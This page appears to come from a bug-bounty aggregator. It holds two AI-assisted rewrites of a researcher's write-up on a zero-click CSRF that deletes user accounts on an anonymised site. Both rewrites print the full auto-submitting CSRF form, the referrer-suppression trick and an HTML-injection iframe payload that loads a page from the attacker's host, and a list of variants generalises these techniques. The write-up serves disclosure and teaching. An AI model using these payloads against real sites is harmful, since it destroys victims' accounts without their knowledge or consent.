Skip to content
CSRF Write-up Intermediate

CSRF Attack — 0 click account delete - 1st write-up

A POST endpoint that deletes a user's account lacked a CSRF token, so a crafted page could submit the request on the victim's behalf. The author chained this with an HTML injection in a community post to make the attack zero-click, deleting the victim's account without interaction.

bug_vs_me Follow

Published on medium.com

I am Deepak, Started bug bounty 5–6 months ago, I am noob in this field correct me if you found something wrong in this post.

Deepak, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

The target is a web application described only as a "Program" on the host xyz.com. The researcher had both an Admin account and a User account, which gave access to the full functionality of the application. The feature that matters here is a regional access check: when a visitor arrives from a Russian IP address, the application shows a popup asking whether the visitor is a citizen of Russia. If the user clicks YES, a second popup warns that their data will be deleted because Russian users are not allowed. The application is also a community site where users can publish posts, and the body of a post accepts HTML such as <iframe> and <img> tags.

Setup

  • Two accounts on the same application: one Admin, one User.
  • A VPN with a Russian exit node, used after endpoint fuzzing was blocked by the WAF.
  • Burp Repeater for replaying requests.
  • A personal web server to host the proof-of-concept HTML.
  • The researcher notes at the start that he began bug bounty five to six months earlier and describes himself as a beginner.

Finding it

The first attempts were classic CSRF probes against admin-level actions:

  1. Delete a user
  2. Add a user
  3. Delete a file
  4. Upgrade a user

All of these required an authentication token, so they were not vulnerable. Endpoint fuzzing was then blocked by the WAF, which is why the researcher switched to a Russian VPN exit. After connecting, the citizenship popup appeared, and the request behind the YES button was captured. That request carried no authentication token, which is what made it interesting.

Exploitation

Step 1: capture the state-changing request

The request sent when the user confirms the citizenship popup was:

HTTP
POST /ru/status/Host: xyz.comCookies: blah-blah

with the body:

Text
Status=yes

The important observation is that no auth token is used in this POST request. The cookie is present, but nothing in the body or headers proves the request was intentional.

Step 2: build a CSRF proof of concept

A CSRF HTML page was created and hosted on the researcher's web server:

HTML
<html>  <body>  <script>history.pushState('', '', '/')</script>    <form action="https://xyz.com/ru/status" method="POST">      <input type="hidden" name="status" value="yes" />      <input type="submit" value="Submit request" />    </form>  </body></html>

The form posts status=yes to the same endpoint, and the page includes a history.pushState('', '', '/') call.

Step 3: hit the CORS block

The cross-origin POST was blocked by the CORS policy and the request could not be sent. The browser response the researcher captured is shown here:

From the original on medium.com

Step 4: replay from Burp and drop the Referer

The request was replayed in Burp Repeater as if it came from the researcher's server. After reviewing it, removing the referer header made the POST request succeed. To reproduce that in the browser, the following was added to the page:

HTML
<meta name=”referrer” content=”never”>

At this point the attack still required the victim to click the link and then click the submit button, which the researcher judged to be low impact.

Step 5: make it zero interaction

A script was added to submit the form automatically on page load:

JavaScript
<script> window.onload = function(){ var input = document.getElementById(‘clickButton’); input.form.submit();}</script>

The final proof of concept combines the auto-submit, the history rewrite, the hidden field, the referrer meta tag and an id on the submit button:

HTML
<html> <body> <script> window.onload = function(){ var input = document.getElementById('clickButton'); input.form.submit();}</script> <script>history.pushState('', '', '/')</script> <form action="https://xyz.com/ru/status" method="POST"> <input type="hidden" name="status" value="yes" /> <meta name="referrer" content="never"> <input id="clickButton" type="submit" value="Submit request" /> </form> </body></html>

Step 6: chain with HTML injection

While testing the community post body, the researcher found HTML injection (explicitly not XSS). The post body accepted <iframe> and <img> tags. The <img> tag works well for GET-based CSRF, so it was not used here. Instead, the following was injected into a post body:

HTML
"></span></td><iframe src="https://mywebhost/poc.html" >

The following was injected into a post body: When any user views the post, the iframe loads poc.html from the attacker's server, and that page immediately posts to https://xyz.com/ru/status with the pre-loaded form. The victim's account is then deleted permanently, without any warning or user interaction.

From the original on medium.com

Root cause

The /ru/status endpoint changes account state (it triggers permanent deletion) on a plain POST of status=yes, with no anti-CSRF token in the request. Removing the referer header made the POST request succeed, and the attacker can suppress it with <meta name="referrer" content="never">. The community post body also renders raw HTML, which lets an attacker place the iframe inside a post that other users view. The report does not describe any server-side validation beyond the referer behaviour observed.

Impact

An attacker who can publish a post containing the iframe payload can cause any user who views that post to have their account deleted permanently, with no warning and no interaction. The researcher's own framing is that the initial form-based version was low impact because it needed two clicks, and that the iframe chain is what makes it zero-click.

Fix

The report does not state what was changed. The findings point to an anti-CSRF token on the /ru/status request and to sanitising user-supplied HTML in post bodies.

Variants to test

  • State-changing endpoints without tokens. Look for POST endpoints that change account state and carry only a cookie. A positive result is a request that succeeds when replayed from a different origin with the cookie attached.
  • Referer-only defences. Add <meta name="referrer" content="never"> to a cross-origin form and see whether the request still succeeds. A positive result is a successful state change with the referer suppressed.
  • HTML injection in user content. Submit <iframe src="..."> and <img src="..."> in post bodies, comments and profiles. A positive result is the tag rendering and the browser fetching the attacker URL.
  • Auto-submitting forms. Combine window.onload with form.submit() to remove the click. A positive result is the state change happening on page load with no user action.
  • GET-based equivalents. Where an <img> tag is accepted, test whether a state change can be triggered with a GET request.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

A security researcher found a way to delete a user's account on a website without that user doing anything at all. No click, no warning, no confirmation. The victim just had to look at a post on the site's community page, and the delete request was sent.

The trick worked in two parts. First, the site had a special page that deleted your account when you answered a question about whether you were a Russian citizen. That page accepted the answer with no anti-CSRF token, and its referer check could be suppressed, which is a weakness called CSRF. Second, the community posts on the site let people paste raw HTML, the language web pages are written in, so the researcher could hide a small invisible frame inside a post. When anyone opened that post, the frame quietly loaded a page from the researcher's own server, and that page sent the delete request on the victim's behalf.

Before we go further, a few words on the researcher. He introduces himself as Deepak, says he started bug bounty five to six months ago, and calls himself a noob who welcomes corrections. Bug bounty is the practice of hunting for security flaws in a company's systems and reporting them, often for a reward.

The target and the accounts

The target is described only as a "Program" on the host xyz.com. The researcher had two accounts on it: one Admin account and one User account. Having both let him see the full functionality of the application, the way a shop owner and a customer together see both sides of a shop.

The feature at the centre of the story is a regional access check. When a visitor arrives from a Russian IP address, the application shows a popup asking whether the visitor is a citizen of Russia. If the user clicks YES, a second popup warns that their data will be deleted, because Russian users are not allowed.

The application is also a community site where users can publish posts, and the body of a post accepts HTML such as <iframe> and <img> tags. An <iframe> is a window inside a page that loads another page; an <img> tag loads a picture. Both are ordinary building blocks of the web, and both become dangerous when a site lets users write them into content that other people will view.

The tools used

  • Two accounts on the same application: one Admin, one User.
  • A VPN with a Russian exit node. A VPN is a service that routes your internet traffic through a server in another country, so websites see that server's address instead of yours. The researcher used it after his automated probing was blocked by the WAF.
  • Burp Repeater, a tool that lets you take a captured request and send it again, edited, as many times as you like.
  • A personal web server to host the proof-of-concept HTML page.

A WAF, or web application firewall, is a filter that sits in front of a website and blocks traffic that looks like an attack. Endpoint fuzzing, mentioned below, means firing lots of guessed URLs at a site to see which ones respond.

Finding it

The first attempts were classic CSRF probes against admin-level actions:

  1. Delete a user
  2. Add a user
  3. Delete a file
  4. Upgrade a user

CSRF stands for cross-site request forgery. The idea is simple: your browser automatically attaches your login cookie to every request it sends to a site, so if an attacker can make your browser send a request to that site, the site will treat the request as coming from you. A cookie is a small piece of data the site stored in your browser when you logged in, and it is what proves who you are on each later request. A CSRF attack tries to abuse that automatic attachment.

All four of those actions required an authentication token, so they were not vulnerable. An authentication token is a second secret value, separate from the cookie, that the page has to send along with the request. Because the attacker's page cannot read that token, it cannot forge the request. Endpoint fuzzing was then blocked by the WAF, which is why the researcher switched to a Russian VPN exit. After connecting, the citizenship popup appeared, and the request behind the YES button was captured. That request carried no authentication token, which is what made it interesting.

Exploitation

Step 1: capture the state-changing request

The request sent when the user confirms the citizenship popup was:

HTTP
POST /ru/status/Host: xyz.comCookies: blah-blah

with the body:

Text
Status=yes

Line by line:

  • POST /ru/status/ is the method and path. POST is the HTTP method used when a browser sends data to a server to change something, as opposed to GET, which is used to fetch a page. /ru/status is the address of the endpoint, the specific piece of the application that handles this action.
  • Host: xyz.com tells the server which site the request is for. One server can host many sites, so this header says which one is meant.
  • Cookies: blah-blah is where the browser's stored cookies for that site are attached. The researcher replaced the real value with blah-blah when writing the report, so the actual cookie is not shown.
  • Status=yes is the body, the data being submitted. It is the answer to the citizenship question.

The important observation is that no auth token is used in this POST request. The cookie is present, but nothing in the body or headers proves the request was intentional. In other words, the server trusts any request that carries a valid cookie, and a cookie is exactly what an attacker's page can cause the browser to send.

Step 2: build a CSRF proof of concept

A CSRF HTML page was created and hosted on the researcher's web server:

HTML
<html>  <body>  <script>history.pushState('', '', '/')</script>    <form action="https://xyz.com/ru/status" method="POST">      <input type="hidden" name="status" value="yes" />      <input type="submit" value="Submit request" />    </form>  </body></html>

Line by line:

  • <html> <body> open the page and its visible body. Every web page has this skeleton.
  • <script>history.pushState('', '', '/')</script> runs a small piece of JavaScript, the language browsers execute. history.pushState changes the address shown in the address bar without loading a new page. Here it rewrites the address to /. An origin is the combination of scheme, host and port, for example https://xyz.com, and browsers use it to decide which pages may talk to which.
  • <form action="https://xyz.com/ru/status" method="POST"> starts a form. action is where the form will be sent, and method="POST" says to send it as a POST request.
  • <input type="hidden" name="status" value="yes" /> is a field the user cannot see. It carries the value status=yes, the same body the real popup sends.
  • <input type="submit" value="Submit request" /> is the button that sends the form.

The form posts status=yes to the same endpoint, and history.pushState('', '', '/') rewrites the address bar so the page looks like it lives on the target origin.

Step 3: hit the CORS block

The cross-origin POST was blocked by the CORS policy and the request could not be sent. CORS, cross-origin resource sharing, is a set of browser rules that decide whether a page from one origin may make certain requests to another origin. The browser response the researcher captured is shown here:

From the original on medium.com

The image shows the message the researcher received when the cross-origin POST was refused.

Step 4: replay from Burp and drop the Referer

The request was replayed in Burp Repeater as if it came from the researcher's server. After reviewing it, removing the referer header made the POST request succeed. The referer header is sent by browsers to tell a site which page the visitor came from. Some sites use it as a rough check that a request originated on their own pages. To reproduce that in the browser, the following was added to the page:

HTML
<meta name=”referrer” content=”never”>

Line by line:

  • <meta> is a tag that carries information about the page rather than content.
  • name="referrer" selects the referrer setting.
  • content="never" tells the browser never to send the referer header for requests from this page.

At this point the attack still required the victim to click the link and then click the submit button, which the researcher judged to be low impact. The researcher judged the two-click version to be low impact.

Step 5: make it zero interaction

A script was added to submit the form automatically on page load:

JavaScript
<script> window.onload = function(){ var input = document.getElementById(‘clickButton’); input.form.submit();}</script>

Line by line:

  • <script> starts a block of JavaScript.
  • window.onload = function(){ ... } registers a function to run once the page has finished loading.
  • var input = document.getElementById('clickButton'); finds the element whose id is clickButton, which will be the submit button.
  • input.form.submit(); finds the form that button belongs to and submits it, as if the user had pressed the button.

The final proof of concept combines the auto-submit, the history rewrite, the hidden field, the referrer meta tag and an id on the submit button:

HTML
<html> <body> <script> window.onload = function(){ var input = document.getElementById('clickButton'); input.form.submit();}</script> <script>history.pushState('', '', '/')</script> <form action="https://xyz.com/ru/status" method="POST"> <input type="hidden" name="status" value="yes" /> <meta name="referrer" content="never"> <input id="clickButton" type="submit" value="Submit request" /> </form> </body></html>

Line by line:

  • The first script waits for the page to load, then submits the form automatically.
  • The second script rewrites the address bar to /.
  • The form posts to https://xyz.com/ru/status.
  • The hidden field sends status=yes.
  • The meta tag suppresses the referer header.
  • The submit button now has id="clickButton", which is what the script looks up.

Step 6: chain with HTML injection

While testing the community post body, the researcher found HTML injection (explicitly not XSS). HTML injection means a site lets you write HTML into content that other people will see, so your markup becomes part of the page. XSS, cross-site scripting, is a stronger version where you can also run JavaScript in other users' browsers; the researcher says that was not possible here. The post body accepted <iframe> and <img> tags. The <img> tag works well for GET-based CSRF, so it was not used here. Instead, the following was injected into a post body:

HTML
"></span></td><iframe src="https://mywebhost/poc.html" >

Line by line:

  • "></span></td> is the prefix the researcher placed before the iframe in the post body.
  • <iframe src="https://mywebhost/poc.html" > opens an inline frame that loads the researcher's proof-of-concept page from his own server.

The leading "></span></td> closes the surrounding markup so the <iframe> is parsed. When any user views the post, the iframe loads poc.html from the attacker's server, and that page immediately posts to https://xyz.com/ru/status with the pre-loaded form. The victim's account is then deleted permanently, without any warning or user interaction.

From the original on medium.com

The image accompanies the description of the iframe chain.

Root cause

The /ru/status endpoint changes account state (it triggers permanent deletion) on a plain POST of status=yes, with no anti-CSRF token in the request. Removing the referer header made the POST request succeed, and the attacker can suppress it with <meta name="referrer" content="never">. The community post body also renders raw HTML, which lets an attacker place the iframe inside a post that other users view. The report does not describe any server-side validation beyond the referer behaviour observed.

Impact

An attacker who can publish a post containing the iframe payload can cause any user who views that post to have their account deleted permanently, with no warning and no interaction. The researcher's own framing is that the initial form-based version was low impact because it needed two clicks, and that the iframe chain is what makes it zero-click.

Fix

The report does not state what was changed. The findings point to an anti-CSRF token on the /ru/status request and to sanitising user-supplied HTML in post bodies.

Variants to test

  • State-changing endpoints without tokens. Look for POST endpoints that change account state and carry only a cookie. A positive result is a request that succeeds when replayed from a different origin with the cookie attached.
  • Referer-only defences. Add <meta name="referrer" content="never"> to a cross-origin form and see whether the request still succeeds. A positive result is a successful state change with the referer suppressed.
  • HTML injection in user content. Submit <iframe src="..."> and <img src="..."> in post bodies, comments and profiles. A positive result is the tag rendering and the browser fetching the attacker URL.
  • Auto-submitting forms. Combine window.onload with form.submit() to remove the click. A positive result is the state change happening on page load with no user action.
  • GET-based equivalents. Where an <img> tag is accepted, test whether a state change can be triggered with a GET request.

Glossary

  • Admin account: an account with full management rights over a site, able to add, remove and change other users.
  • Authentication token: a secret value sent with a request to prove the request was made deliberately by the logged-in user, separate from the cookie.
  • Bug bounty: a programme where companies pay or credit people for finding and reporting security flaws in their systems.
  • Burp Repeater: a tool that lets you resend a captured HTTP request, edited, as many times as you like.
  • Cookie: a small piece of data a site stores in your browser, often used to remember that you are logged in.
  • CORS (cross-origin resource sharing): browser rules that decide whether a page from one origin may make certain requests to another origin.
  • CSRF (cross-site request forgery): an attack that makes your browser send a request to a site you are logged into, so the site treats it as your own action.
  • Endpoint: the specific address in an application that handles one action, such as /ru/status.
  • Endpoint fuzzing: sending many guessed URLs to a site to discover which ones exist or respond.
  • GET: the HTTP method used to fetch a page or resource.
  • HTML: the language web pages are written in, made of tags such as <form> and <iframe>.
  • HTML injection: a flaw where a site lets you write HTML into content other people will see, so your markup becomes part of the page.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • <iframe>: a tag that loads another web page inside a window on the current page.
  • <img>: a tag that loads a picture; because it fetches a URL, it can also be used to trigger a GET request.
  • JavaScript: the programming language browsers run to make pages interactive.
  • Origin: the combination of scheme, host and port, such as https://xyz.com, used by browsers to decide which pages may talk to which.
  • POST: the HTTP method used to send data to a server to change something.
  • Proof of concept (PoC): a small page or script that demonstrates a vulnerability works.
  • Referer header: a header browsers send to tell a site which page the visitor came from.
  • VPN: a service that routes your internet traffic through a server in another country, so sites see that server's address.
  • WAF (web application firewall): a filter in front of a website that blocks traffic that looks like an attack.
  • XSS (cross-site scripting): a flaw where an attacker can run JavaScript in other users' browsers.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.